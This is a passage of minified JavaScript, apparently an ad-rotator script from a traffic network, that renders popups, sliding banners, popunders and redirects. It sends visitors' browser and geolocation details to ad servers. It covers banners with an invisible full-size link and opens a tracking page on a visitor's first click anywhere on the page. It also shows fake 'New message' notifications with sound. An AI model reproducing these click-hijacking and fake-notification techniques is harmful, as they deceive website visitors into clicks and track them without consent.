                (k.compatMode || this.za) && !this.ca ? "CSS1Compat" == k.compatMode ? k.documentElement.clientHeight : k.body.clientHeight : (k.cb || k.defaultView).innerHeight;
            g.log(a);
            return a
        }, ua: function () {
            return(k.compatMode || this.za) && !this.ca ? "CSS1Compat" == k.compatMode ? k.documentElement.clientWidth : k.body.clientWidth : (k.cb || k.defaultView).innerWidth
        }, q: function () {
            return Math.max(r.pageYOffset || k.documentElement.scrollTop, k.body.scrollTop)
        }};
    rb.prototype = {a: {}, r: {}, f: z, oa: function () {
        function a(a) {
            a = g.parseJSON(g.L(a));
            g.log("Success RT, ",
                a);
            g.Ya(a);
            b.r = a;
            var c = {br: Eb, as: Fb, tl: Gb, cf: Hb, vkm: Ib, rot: Jb, popup: Kb, mppund: Lb, tsr: Mb, scr: Nb, pin: Ob, mdirect: Pb};
            if (a.ads)for (var f = 0; f < a.ads.length; f++) {
                var p = c[a.ads[f].format];
                p ? (g.log("Rendering,", a.ads[f]), p.p(a.ads[f])) : g.log("Cant render ad:", a.ads[f])
            }
        }

        var b = this, c = this.a.rtUri.replace("/?", "");
        this.a.rotatorDomain && this.a.rtUri && g.da(this.a.rotatorDomain, this.a.rtUri + this.Wa(c) + g.Va() + g.Ua(c), a)
    }, Ba: function (a) {
        g.X(a).style.cssText = "width:1px;height:1px;position:absolute;left:-10000px;"
    },
        Wa: function (a) {
            var b = "";
            this.a.foreignUid && (b = "x26foreignUidx3d" + this.a.foreignUid);
            return-1 == a.indexOf("x26udatax3d") && r.globalInfo.udata && (a = r.globalInfo.udata) ? (a = g.parseJSON(g.L(a)), this.Ba(a.matchingUrl), b + "x26udatax3d" + a.uid) : b
        }};
    var t = "undefined", M = "object", na = "application/x-shockwave-flash", gb = "SWFObjectExprInst", G = r, u = k, S = navigator, vb = T, qa = [function () {
            if (vb) {
                var a = u.getElementsByTagName("body")[0], b = u.createElement(M);
                b.setAttribute("type", na);
                var c = a.appendChild(b);
                if (c) {
                    var d = 0;
                    (function () {
                        if (typeof c.GetVariable !=
                            t) {
                            var e = c.GetVariable("$version");
                            e && (e = e.split(" ")[1].split(","), n.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])
                        } else if (10 > d) {
                            d++;
                            setTimeout(arguments.callee, 10);
                            return
                        }
                        a.removeChild(b);
                        c = z;
                        Ka()
                    })()
                } else Ka()
            } else Ka()
        }], P = [], ma = [], Y = [], ea, pa, Ha, fb, V = T, oa = T, L, Da, cb = y, n, Qb = typeof u.getElementById != t && typeof u.getElementsByTagName != t && typeof u.createElement != t, Ba = S.userAgent.toLowerCase(), Ca = S.platform.toLowerCase(), Rb = Ca ? /win/.test(Ca) : /win/.test(Ba), Sb = Ca ? /mac/.test(Ca) : /mac/.test(Ba),
        Tb = /webkit/.test(Ba) ? parseFloat(Ba.replace(/^.*webkit/(d+(.d+)?).*$/, "$1")) : T, ab = !+"v1", ia = [0, 0, 0], D = z;
    if (typeof S.plugins != t && typeof S.plugins["Shockwave Flash"] == M) {
        if ((D = S.plugins["Shockwave Flash"].description) && !(typeof S.mimeTypes != t && S.mimeTypes[na] && !S.mimeTypes[na].enabledPlugin))vb = y, ab = T, D = D.replace(/^.*s+(S+s+S+$)/, "$1"), ia[0] = parseInt(D.replace(/^(.*)..*$/, "$1"), 10), ia[1] = parseInt(D.replace(/^.*.(.*)s.*$/, "$1"), 10), ia[2] = /[a-zA-Z]/.test(D) ? parseInt(D.replace(/^.*[a-zA-Z]+(.*)$/,
            "$1"), 10) : 0
    } else if (typeof G.ActiveXObject != t)try {
        var wb = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
        if (wb && (D = wb.GetVariable("$version")))ab = y, D = D.split(" ")[1].split(","), ia = [parseInt(D[0], 10), parseInt(D[1], 10), parseInt(D[2], 10)]
    } catch (Vb) {
    }
    n = {j: Qb, n: ia, i: Tb, c: ab, e: Rb, R: Sb};
    n.j && ((typeof u.readyState != t && "complete" == u.readyState || typeof u.readyState == t && (u.getElementsByTagName("body")[0] || u.body)) && Z(), V || (typeof u.addEventListener != t && u.addEventListener("DOMContentLoaded", Z, T), n.c && n.e &&
        (u.attachEvent("onreadystatechange", function () {
            "complete" == u.readyState && (u.detachEvent("onreadystatechange", arguments.callee), Z())
        }), G == top && function () {
            if (!V) {
                try {
                    u.La.doScroll("left")
                } catch (a) {
                    setTimeout(arguments.callee, 0);
                    return
                }
                Z()
            }
        }()), n.i && function () {
        V || (/loaded|complete/.test(u.readyState) ? Z() : setTimeout(arguments.callee, 0))
    }(), hb(Z)));
    n.c && n.e && r.attachEvent("onunload", function () {
        for (var a = Y.length, b = 0; b < a; b++)Y[b][0].detachEvent(Y[b][1], Y[b][2]);
        a = ma.length;
        for (b = 0; b < a; b++)eb(ma[b]);
        for (var c in n)n[c] =
            z;
        n = z;
        for (var d in g.w)g.w[d] = z;
        g.w = z
    });
    I.prototype = {ea: {h: "", link: "aHR0cDovL3dpemFyZC10cmFmZnN0b2NrLmNvbS8/dXRtX3NvdXJjZT1vdXJiYW5uZXImdXRtX21lZGl1bT1iYW5uZXImdXRtX2NhbXBhaWduPWJhbm5lcl9yZWcx3d"}, Ia: 3E3, ia: "", wa: "", xa: "", ib: "", Da: "", U: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;", W: "", ca: "", Z: T, Ca: 2, ja: 0, ka: 0, V: [], f: {}, b: function (a, b, c, d) {
        a.addEventListener ? a.addEventListener(b, c, d) : a.attachEvent("on" + b, c)
    }, K: function (a) {
        a = a || event;
        a.cancelBubble = y;
        a.stopPropagation && a.stopPropagation()
    },
        ba: function (a, b, c, d) {
            var e = this;
            if (a.isDefaultClose || !this.Z && a.stubSrc) {
                d = d || -12;
                c = c || b;
                var f = k.createElement("span");
                f.style.cssText = this.ia.replace("${offsetTop}", d);
                f.onclick = function (b) {
                    e.K(b);
                    e.close(a, c)
                };
                if (a.isDefaultClick || !this.Z && a.stubSrc)d = k.createElement("a"), d.style.cssText = this.Da, d.target = "_blank", d.href = a.trackingDomain + g.g(a.clickUri + e.G()), d.onclick = function (b) {
                    e.K(b);
                    this.href = a.trackingDomain + g.g(a.clickUri + e.G());
                    e.na(c)
                }, b.appendChild(d);
                setTimeout(function () {
                        b.appendChild(f)
                    },
                    this.Ia)
            } else r.hide = function () {
                e.close(a, e.f)
            }
        }, H: function (a, b, c, d) {
            c = c || "bottom";
            d = d || "right";
            b.showLogo && (b = k.createElement("a"), b.href = g.L(this.ea.link), b.target = "_blank", b.style.cssText = "z-index:99;position:absolute;" + c + ":-15px;width:100%;height:15px;left:0;right:0; background:#fff url(" + this.ea.h + ") no-repeat " + d + " top;", a.appendChild(b))
        }, J: function (a, b) {
            g.X(b.impDomain + g.g(b.trackShowUri)).style.cssText = this.U
        }, G: function () {
            return this.ja > this.Ca || 0 < this.ka || x.a.isMobile ? "" : "x26rejx3d1"
        },
        w: {eb: function (a, b, c, d) {
            if (n.j && a && b) {
                var e = {};
                e.id = a;
                e.qa = b;
                e.O = c;
                e.fa = d;
                P[P.length] = e;
                U(a, T)
            } else d && d({success: T, id: a})
        }, Sa: function (a) {
            if (n.j)return Ja(a)
        }, N: function (a, b, c, d, e, f, g, h, j, k) {
            var A = {success: T, id: b};
            n.j && !(n.i && 312 > n.i) && a && b && c && d && e ? (U(b, T), ib(function () {
                c += "";
                d += "";
                var q = {};
                if (j && typeof j === M)for (var B in j)q[B] = j[B];
                q.data = a;
                q.width = c;
                q.height = d;
                B = {};
                if (h && typeof h === M)for (var r in h)B[r] = h[r];
                if (g && typeof g === M)for (var F in g)B.s = typeof B.s != t ? B.s + ("x26" + F + "x3d" + g[F]) : F + "x3d" +
                    g[F];
                if (la(e))r = Ea(q, B, b), q.id == b && U(b, y), A.success = y, A.S = r; else {
                    if (f && Ia()) {
                        q.data = f;
                        Ga(q, B, b, k);
                        return
                    }
                    U(b, y)
                }
                k && k(A)
            })) : k && k(A)
        }, kb: function () {
            cb = T
        }, W: n, Ra: function () {
            return{$a: n.n[0], bb: n.n[1], fb: n.n[2]}
        }, va: la, Ka: function (a, b, c) {
            if (n.j)return Ea(a, b, c)
        }, hb: function (a, b, c, d) {
            n.j && Ia() && Ga(a, b, c, d)
        }, gb: function (a) {
            n.j && eb(a)
        }, Ja: function (a, b, c, d) {
            n.j && db(a, b, c, d)
        }, Fa: ib, Ha: hb, Ta: function (a) {
            var b = u.location.search || u.location.hash;
            if (b) {
                /?/.test(b) && (b = b.split("?")[1]);
                if (a == z)return bb(b);
                for (var b =
                    b.split("x26"), c = 0; c < b.length; c++)if (b[c].substring(0, b[c].indexOf("x3d")) == a)return bb(b[c].substring(b[c].indexOf("x3d") + 1))
            }
            return""
        }, Pa: function () {
            if (oa) {
                var a = J(gb);
                a && ea && (a.parentNode.replaceChild(ea, a), pa && (U(pa, y), n.c && n.e && (ea.style.display = "block")), Ha && Ha(fb));
                oa = T
            }
        }}, N: function (a, b, c, d, e, f) {
            this.w.N(this.ab(a, b, c), d, e, f, "10.0.0", "", T, this.V, T)
        }, ab: function (a, b, c) {
            return x.a.imgDomain + a + "?closeidx3d" + b + "x26link1x3d" + c + this.Aa()
        }, Aa: function () {
            return"x26keywordsx3d" + encodeURIComponent(x.a.keywords) +
                "x26browsernamex3d" + encodeURIComponent(x.a.uaFamilyName) + "x26browserversionx3d" + x.a.uaVersion + "x26osx3d" + encodeURIComponent(x.a.osName) + "x26countryidx3d" + x.a.countryId + "x26districtx3d" + encodeURIComponent(x.a.district) + "x26regionx3d" + encodeURIComponent(x.a.region) + "x26cityx3d" + encodeURIComponent(x.a.city)
        }, B: function (a) {
            return a.replace("{keywords}", x.r.keywords || "").replace("{browsername}", x.r.uaFamilyName || "").replace("{browserversion}", x.r.uaVersion || "").replace("{os}", x.r.osName ||
                "").replace("{countryid}", x.r.countryId || "").replace("{district}", x.r.district || "").replace("{region}", x.r.region || "").replace("{city}", x.r.city || "")
        }, Ma: function (a, b, c, d, e) {
            a = g.Ga(a + (-1 == a.indexOf("?") ? "?" : "x26") + "clickUrlx3d" + b + this.Aa(), c);
            a.style.cssText = "width:" + d + "px;height:" + e + "px;border:none;";
            a.scrolling = "no"
        }, ya: function (a) {
            var b = a.clickUri.replace("clk", "cl");
            a = (a.trackingDomain || a.teasers[0].trackingDomain) + g.g(b);
            g.X(a).style.cssText = this.U
        }, close: function (a, b) {
            this.ya(a);
            this.na(b)
        },
        na: function (a) {
            a && k.body.removeChild(a)
        }, t: function (a) {
            var b = this;
            this.b(k, "mousemove", function () {
                b.ja++
            }, T);
            this.b(k, "scroll", function () {
                b.ka++
            }, T);
            this.ea.h = x.a.scriptsDomain + "img/adv.png";
            this.Z = this.w.va("1");
            g.log(a);
            this.W = navigator.userAgent.toLowerCase();
            this.ca = -1 < this.W.indexOf("opera");
            this.za = !this.ca && -1 < this.W.indexOf("msie");
            this.wa = x.a.scriptsDomain + "img/close.png";
            this.xa = x.a.scriptsDomain + "img/close_ie.gif";
            this.ia = "z-index:101;position:absolute;top:${offsetTop}px;right:-12px;background:url(" +
                this.wa + ") no-repeat 50%;width:30px;height:30px;cursor:pointer;* background:url(" + this.xa + ");";
            this.ib = x.a.scriptsDomain + "img/blank.gif";
            this.Da = "background:white;filter:progid:DXImageTransform.Microsoft.Alpha(opacityx3d1);-moz-opacity:0.01;-khtml-opacity:0.01;opacity:0.01;cursor:pointer;left:0px;top:0px;right:0px;bottom:0px;width:100%;height:100%;position:absolute;";
            this.V.allowScriptAccess = "always";
            this.V.quality = "high";
            this.V.wmode = "transparent"
        }, p: function () {
            g.log("Method not implemented")
        },
        M: function (a, b) {
            var c = k.createElement("div");
            a.appendChild(c);
            c.style.width = b.width + "px";
            c.style.height = b.height + "px";
            !this.Z && b.stubSrc && (c.style.background = "url(" + x.a.imgDomain + b.stubSrc + ") no-repeat 50% 50%");
            if (b.iframeUrl)this.Ma(b.iframeUrl, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)), c, b.width, b.height); else if (g.Oa(b.src, ".swf")) {
                var d = k.createElement("div");
                d.id = "swf" + (new String(Math.random())).slice(2);
                c.appendChild(d);
                this.N(b.src, d.id, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)),
                    d.id, b.width, b.height)
            } else c.style.background = "url(" + x.a.imgDomain + b.src + ") no-repeat 50% 50%"
        }};
    E(xa, I);
    xa.prototype.p = function (a) {
        var b = this;
        b.t(a);
        var c = g.z("div");
        b.f = c;
        b.M(c, a);
        b.H(c, a, "bottom", "right");
        b.J(c, a);
        var d = b.$(a.width, a.height), e = "z-index:9999;position:fixed;top:50%;left:50%;margin-top:-" + a.height / 2 + "px;margin-left:-" + a.width / 2 + "px;width: " + a.width + "px;height: " + a.height + "px;";
        g.v() || (e = e.replace("fixed", "absolute"), b.b(r, "scroll", function () {
            c.style.top = g.q() + d.top + "px"
        }), b.b(r,
            "resize", function () {
                var d = b.$(a.width, a.height);
                c.style.top = g.q() + d.top + "px"
            }));
        c.style.cssText = e;
        this.ba(a, c, c)
    };
    xa.prototype.$ = function (a, b) {
        return{left: (g.ua() - a) / 2, top: (g.k() - b) / 2}
    };
    E(Ta, I);
    Ta.prototype.p = function (a) {
        function b() {
            var b = setInterval(function () {
                f < parseInt(a.height, 10) + d ? (f += 10, w.style.top = f + "px") : (clearInterval(b), setTimeout(c, 1E3))
            }, 10)
        }

        function c() {
            var a = setInterval(function () {
                0 < f ? (f -= 10, w.style.top = f + "px") : (clearInterval(a), setTimeout(b, e))
            }, 20)
        }

        var d = a.showLogo ? 24 : 18, e = 15E3,
            f = a.height, p = 0, h = 6 == a.bannerPosition ? "left" : "right";
        this.t(a);
        var j = g.z("div");
        this.f = j;
        var w = k.createElement("div");
        j.appendChild(w);
        this.M(w, a);
        this.H(w, a, "top", "left");
        this.J(w, a);
        h = "z-index:9999;padding:" + d + "px 9px 0 0;overflow:hidden;position:fixed;bottom:0;" + h + ": 0px;width: " + a.width + "px;height: " + a.height + "px;";
        g.v() || (h = h.replace("fixed", "absolute"), h += "bottom:auto;top:" + (g.k() - a.height - d) + "px;", this.b(r, "scroll", function () {
            j.style.top = g.q() + g.k() - a.height + "px"
        }), this.b(r, "resize", function () {
            j.style.top =
                g.q() + g.k() - a.height - d + "px"
        }));
        j.style.cssText = h;
        w.style.cssText = "position:relative;top: " + a.height + "px;";
        this.ba(a, w, j, a.showLogo ? -20 : -12);
        a.animate ? setTimeout(function () {
            var b = setInterval(function () {
                Math.abs(parseInt(banner.style.top, 10)) > a.height ? w.style.top = (p += 20) + "px" : clearInterval(b)
            }, 20)
        }, 1E3) : c()
    };
    E(Ua, I);
    Ua.prototype.p = function (a) {
        this.t(a);
        var b = g.z("div");
        this.f = b;
        this.M(b, a);
        this.H(b, a, "bottom", "right");
        this.J(b, a);
        var c = "z-index:9999;position:fixed;top:0px;left: 50%;width: " + a.width +
            "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";
        g.v() || (c = c.replace("fixed", "absolute"), this.b(r, "scroll", function () {
            b.style.top = g.q() + "px"
        }));
        b.style.cssText = c;
        this.ba(a, b, b, 3)
    };
    E(Va, I);
    Va.prototype.p = function (a) {
        this.t(a);
        var b = g.z("div");
        this.f = b;
        this.M(b, a);
        this.H(b, a, "top", "left");
        this.J(b, a);
        var c = "z-index:9999;position:fixed;left: 50%;bottom:0; width: " + a.width + "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";
        g.v() ? this.b(r, "resize", function () {
            b.style.top = g.k() - a.height + "px"
        }) :
            (c = c.replace("fixed", "absolute"), c += "bottom:auto;top:" + (g.k() - a.height) + "px;", this.b(r, "scroll", function () {
                b.style.top = g.q() + g.k() - a.height + "px"
            }), this.b(r, "resize", function () {
                b.style.top = g.q() + g.k() - a.height + "px"
            }));
        b.style.cssText = c;
        this.ba(a, b, b, a.showLogo ? -20 : -12)
    };
    E(ca, I);
    ca.prototype.p = function (a) {
        function b() {
            if (!c && (j.ja > j.Ca || 0 < j.ka) && 1E3 <= (new Date).getTime() - d) {
                c = y;
                var b = function (a) {
                    l = setInterval(function () {
                        if (h[a] && p[a] < f * F)p[a] += 5, h[a].style.top = p[a] + "px"; else {
                            clearInterval(l);
                            var c =
                                a + 1;
                            if (c < h.length)setTimeout(function () {
                                b(c)
                            }, h[a] ? 4E3 : 0); else {
                                for (var d = 0; d < h.length; d++)h[d] && (h[d].style.top = f * h.length + 10);
                                setTimeout(function () {
                                    j.ha(c, h[0] && "true" == h[0]);
                                    e(0)
                                }, h[a] ? 1E4 : 0)
                            }
                        }
                    }, 10)
                }, e = function (a) {
                    l = setInterval(function () {
                        if (h[a] && p[a] > f * (F - 1))for (var c = a; 0 <= c; c--)h[c] && (p[c] -= 5, h[c].style.top = p[c] + "px"); else {
                            clearInterval(l);
                            var d = a + 1;
                            d < h.length ? setTimeout(function () {
                                j.ha(d, h[d] && "true" == h[d]);
                                e(d)
                            }, h[a] ? 4E3 : 0) : setTimeout(function () {
                                b(0)
                            }, h[a] ? 8E3 : 0)
                        }
                    }, 20)
                }, F = 0, n = function () {
                    for (var a =
                        F = 0; a < h.length; a++)h[a] != z && F++
                }, m = function (b, c, d) {
                    j.f.removeChild(h[c]);
                    j.K(b);
                    h[c] = z;
                    n();
                    d && j.ya(a);
                    b = T;
                    for (d = c; d < h.length; d++)h[d] && (!b && p[d] >= f * h.length) && (b = y, p[d] = p[c], h[d].style.top = p[d] + "px");
                    if (!b) {
                        var e = f;
                        j.f.style.overflow = "visible";
                        var k = setInterval(function () {
                            if (0 < e) {
                                e -= 5;
                                for (var a = c; 0 <= a; a--)h[a] && (p[a] += 5, h[a].style.top = p[a] + "px")
                            } else j.f.style.overflow = "hidden", clearInterval(k)
                        }, 10)
                    }
                    j.f.style.height = f * F + "px";
                    g.v() || (j.f.style.top = g.q() + g.k() - f * F + "px");
                    for (d = 0; d < h.length; d++)h[d] &&
                    (p[d] -= f, h[d].style.top = p[d] + "px")
                };
                j.f = g.z("div");
                var u = a.trackingDomain + g.g(a.clickUri.replace("/?", "")), l;
                j.J(j.f, a);
                for (var x = 0; x < w.length; x++) {
                    p.push(f * w.length);
                    var t = k.createElement("div");
                    t.id = "vid-" + x;
                    t.className = "vmcontainer";
                    var v = k.createElement("div");
                    t.setAttribute("mute", a.mute);
                    t.onmouseover = function () {
                        this.className += " hover"
                    };
                    t.onmouseout = function () {
                        this.className = this.className.replace(" hover", "")
                    };
                    var ja = k.createElement("div");
                    ja.style.cssText = "position:relative;";
                    ja.innerHTML =
                        "x3cspanx3e" + w[x].header + "x3c/spanx3e";
                    var ka = k.createElement("a");
                    ka.id = "vclose-" + x;
                    var C = k.createElement("a");
                    ka.className = "vclose";
                    ja.appendChild(ka);
                    ka.appendChild(C);
                    v.appendChild(ja);
                    C = k.createElement("div");
                    C.style.cssText = "float:left;margin:0 10px 0 10px;border-radius:3px;overflow:hidden;box-shadow:0 1px 2px rgb(17, 17, 17);";
                    v.appendChild(C);
                    g.pa() || (v.style.cssText = "padding:5px 15px;");
                    var D = k.createElement("div"), E = k.createElement("style"), G = k.getElementsByTagName("head")[0];
                    E.type =
                        "text/css";
                    E.styleSheet ? E.styleSheet.cssText = A : E.appendChild(k.createTextNode(A));
                    G.appendChild(E);
                    D.innerHTML = 'x3cspan classx3d"text-link"x3ex3ca hrefx3d"#" x3e' + w[x].title + "x3c/ax3ex3c/spanx3e" + w[x].description;
                    v.appendChild(D);
                    j.M(C, a);
                    j.f.appendChild(t);
                    t.appendChild(v);
                    h.push(t);
                    ka.onclick = function (a) {
                        var b = parseInt(this.id.replace("vclose-", ""));
                        m(a, b, y)
                    };
                    t.onclick = function (a) {
                        j.K(a);
                        var b = parseInt(this.id.replace("vid-", ""));
                        m(a, b, T);
                        r.open(u)
                    };
                    ja.style.cssText = "position:relative;font-size:13px;height:19px;line-height:19px;color:white;padding:10px 10px 3px;font-weight:bold;";
                    t.style.cssText = q
                }
                n();
                x = "z-index:9999;overflow:hidden;font-family: tahoma,arial,verdana,sans-serif,Lucida Sans;font-size: 11px;z-index:9999; position:fixed;bottom:0;left: 10px;width:345px;height:" + f * h.length + "px;";
                g.v() || (x = x.replace("fixed", "absolute"), x += "bottom:auto;top:" + (g.k() - f * h.length) + "px;", j.b(r, "scroll", function () {
                    j.f.style.top = g.q() + g.k() - F * f + "px"
                }), j.b(r, "resize", function () {
                    j.f.style.top = g.q() + g.k() - F * f + "px"
                }));
                j.f.style.cssText = x;
                g.v() || (j.f.style.top = g.q() + g.k() - F * f + "px");
                setTimeout(function () {
                    0 <
                        h.length && (j.ha(0, h[0] && "true" == h[0]), e(0))
                }, 3E3)
            }
        }

        var c = T, d = (new Date).getTime(), e = "vm" + (new Date).getTime(), f = g.pa() ? 105 : 125, p = [], h = [], j = this, w = j.Qa(a, e);
        j.t(a);
        var A = '.vclose {width: 23px; height: 23px; display: block; filter:progid:DXImageTransform.Microsoft.Alpha(opacityx3d0);-moz-opacity: 0;-khtml-opacity:0;opacity:0;position:absolute; right:10px; top:10px; background: url("' + x.a.scriptsDomain + 'img/notifier_close_ie.png") no-repeat scroll 0 0;} .vclose a {display:none; width:7px; height:7px;margin:8px; background:url(' +
                x.a.scriptsDomain + "/img/notifier_close.gif)}.vclose:hover a{display:block; filter:progid:DXImageTransform.Microsoft.Alpha(opacityx3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;}.vmcontainer:hover .vclose:hover{filter:progid:DXImageTransform.Microsoft.Alpha(opacityx3d100);-moz-opacity:1;-khtml-opacity:1;opacity:1;}.vmcontainer:hover .vclose, .vmcontainer.hover .vclose{filter:progid:DXImageTransform.Microsoft.Alpha(opacityx3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;} .text-link {padding-right:10px;} .text-link a {color:rgb(177, 218, 255);font-weight:bold;text-decoration:none;}.text-link a:hover {text-decoration:underline;}",
            e = 'height:130px;width:350px; background: url("' + x.a.scriptsDomain + 'img/notifier_back.png") center center no-repeat; ', q = "left:0;color:white;margin:0 0 10px 0;" + (g.pa() ? "height:95px;width:320px;border-radius: 5px 5px 5px 5px;box-shadow: 0pt 2px 15px rgb(0, 0, 0);text-shadow: 0px 1px 0px rgb(38, 38, 38);background:rgba(0,0,0,0.75);" : e) + "position:absolute;top: " + (f * w.length + 10) + "px;";
        this.b(k, "mousemove", function () {
            b()
        }, T);
        this.b(k, "scroll", function () {
            b()
        }, T)
    };
    ca.prototype.T = z;
    ca.prototype.Qa = function (a, b) {
        var c = [], d = a.title.split("{splitter}"), e = a.description.split("{splitter}");
        a.windowHeader || (a.windowHeader = "u041du043eu0432u043eu0435 u0441u043eu043eu0431u0449u0435u043du0438u0435");
        for (var f = a.windowHeader.split("{splitter}"), k = Math.max(f.length, Math.max(d.length, e.length)), h = 0; h < k; h++) {
            var j = {};
            j.title = this.B(h < d.length ? d[h] : d[0]);
            j.description = this.B(h < e.length ? e[h] : e[0]);
            j.header = this.B(h < f.length ? f[h] : f[0]);
            "" == j.header && (j.header = "u041du043eu0432u043eu0435 u0441u043eu043eu0431u0449u0435u043du0438u0435");
            j.wrapperId = b;
            j.id = b + h + 1;
            j.index = h;
            c.push(j)
        }
        g.log(c);
        return c
    };
    ca.prototype.ha = function (a, b) {
        if (b == T)if (g.Q()) {
            var c = k.createElement("bgsound");
            c.src = x.a.scriptsDomain + "img/bb2.mp3";
            c.loop = "1";
            k.body.appendChild(c)
        } else this.T && (c = k.getElementById(this.T)) && this.f && this.f.removeChild(c), c = k.createElement("div"), this.T = "vkmsound" + a, c.id = this.T, this.f.appendChild(c), g.w.N(x.a.scriptsDomain + "img/mp3player.swf?filex3d" + x.a.scriptsDomain + "img/bb2.mp3x26startplayx3dtrue", this.T, "1", "1", "10.0.0", z, z,
            this.V)
    };
    E(Wa, I);
    Wa.prototype.p = function (a) {
        this.t(a);
        var b = {limit: a.limit, period: a.period, limitName: "__trflimit", periodName: "__trfmon"}, c = T;
        if (g.ga(b)) {
            var d = this, e = navigator.userAgent.toLowerCase();
            this.b(k, -1 < e.indexOf("iphone") || -1 < e.indexOf("ipad") ? "touchstart" : "click", function () {
                g.ga(b) && !c && (c = y, g.log(a.trackingDomain + g.g(a.clickUri + d.G())), g.ma.call(d, a.trackingDomain + g.g(a.clickUri + d.G()), y, "_blank", ""), g.Ea(b))
            });
            this.J(k.body, a)
        }
    };
    E(ya, I);
    ya.prototype.p = function (a) {
        var b = {limit: a.limit,
            period: a.period, limitName: "__trfpoplimit", periodName: "__trfmonpop"};
        this.t(a);
        if (g.ga(b)) {
            var c = g.z("div"), d = k.createElement("div");
            c.appendChild(d);
            this.M(d, a);
            var e = this;
            e.f = c;
            d.onclick = function (d) {
                g.ma(a.trackingDomain + g.g(a.clickUri + e.G()), y, "_blank", "");
                g.Ea(b);
                e.K(d);
                e.na(c)
            };
            this.H(c, a, "bottom", "right");
            this.J(c, a);
            var f = this.$(a.width, a.height), d = "z-index:9999;cursor:pointer;position:fixed;top: " + f.top + "px;left: " + f.left + "px;width: " + a.width + "px;height: " + a.height + "px;";
            g.v() || (d = d.replace("fixed",
                "absolute"), this.b(r, "scroll", function () {
                c.style.top = g.q() + f.top + "px"
            }));
            c.style.cssText = d;
            d = k.createElement("span");
            d.style.cssText = this.ia.replace("${offsetTop}", "-20");
            e = this;
            d.onclick = function (b) {
                e.K(b);
                g.ma.call(e, a.trackingDomain + g.g(a.closeUri), y, "_blank", "");
                e.close(a, c)
            };
            c.appendChild(d)
        }
    };
    ya.prototype.$ = function (a, b) {
        return{left: (g.ua() - a) / 2, top: (g.k() - b) / 2}
    };
    E(Xa, I);
    Xa.prototype.p = function (a) {
        this.t(a);
        confirm(a.bannerText) && (r.location = a.trackingDomain + g.g(a.clickUri))
    };
    E(Ya, I);
    Ya.prototype.p =
        function (a) {
            r.globalInfo.mredRendered || (r.globalInfo.mredRendered = y, g.log("Rendering m redir"), g.da(a.trackingDomain, a.clickUri))
        };
    E(da, I);
    da.prototype.r = "";
    da.prototype.p = function (a) {
        function b(a, b) {
            a.style.cssText = j.I[b];
            d.b(a, "mouseover", function () {
                a.style.cssText = j.P[b];
                "text" == b && j.o([a])
            }, T);
            d.b(a, "mouseout", function () {
                a.style.cssText = j.I[b];
                j.o([a])
            }, T)
        }

        function c(a, b) {
            d.b(a, "mouseover", function () {
                b.style.cssText = j.P.sPText;
                "TD" == a.tagName && j.o([b])
            }, y);
            d.b(a, "mouseout", function () {
                b.style.cssText =
                    j.I.sPText;
                j.o([b])
            }, y)
        }

        this.t(a);
        var d = this, e = k.createElement("table"), f = k.createElement("tbody"), p = k.createDocumentFragment(), h = k.createElement("img"), j = this, w = s, A;
        if (!w) {
            w = {};
            w.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10);
            var q = w.size + parseInt(a.imgMarginSize, 10);
            switch (a.orientation) {
                case "over":
                    w.margin = "0";
                    w.C = "0 0 " + a.imgMarginSize + "px";
                    w.m = "none";
                    w.l = "center";
                    w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2};
                    break;
                case "left":
                    w.margin =
                        "0 0 0 " + q + "px";
                    w.C = "0 -" + q + "px 0 0";
                    w.m = "left";
                    w.l = "left";
                    w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};
                    break;
                case "right":
                    w.margin = "0 " + q + "px 0 0", w.C = "0 0 0 -" + q + "px", w.m = "right", w.l = "left", w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: 0}
            }
        }
        A = w;
        var B = g.Q() ? "display:inline;zoom:1;" : "display:inline-block;", q = k.getElementById("wzblock" + a.blockId), n = parseInt(a.textSize, 10), m = n + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), l =
            n + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));
        this.d = parseInt(a.textDivHeight, 10);
        j.I = {table: "table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";", D: "vertical-align:top;background:" + a.cellBackground + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + A.l +
            ";width:" + a.width / a.horizCount + a.widthUnit + ";", u: "z-index:1;margin:" + A.C + ";position:relative;" + B + ";height:" + A.size + "px;width:" + A.size + "px;float:" + A.m + ";", h: "z-index:1;position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";", text: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" +
            ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + n + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";", sPText: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + n + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";"};
        j.P = {table: "table-layout:fixed;background:" + a.backgroundOnmouseover +
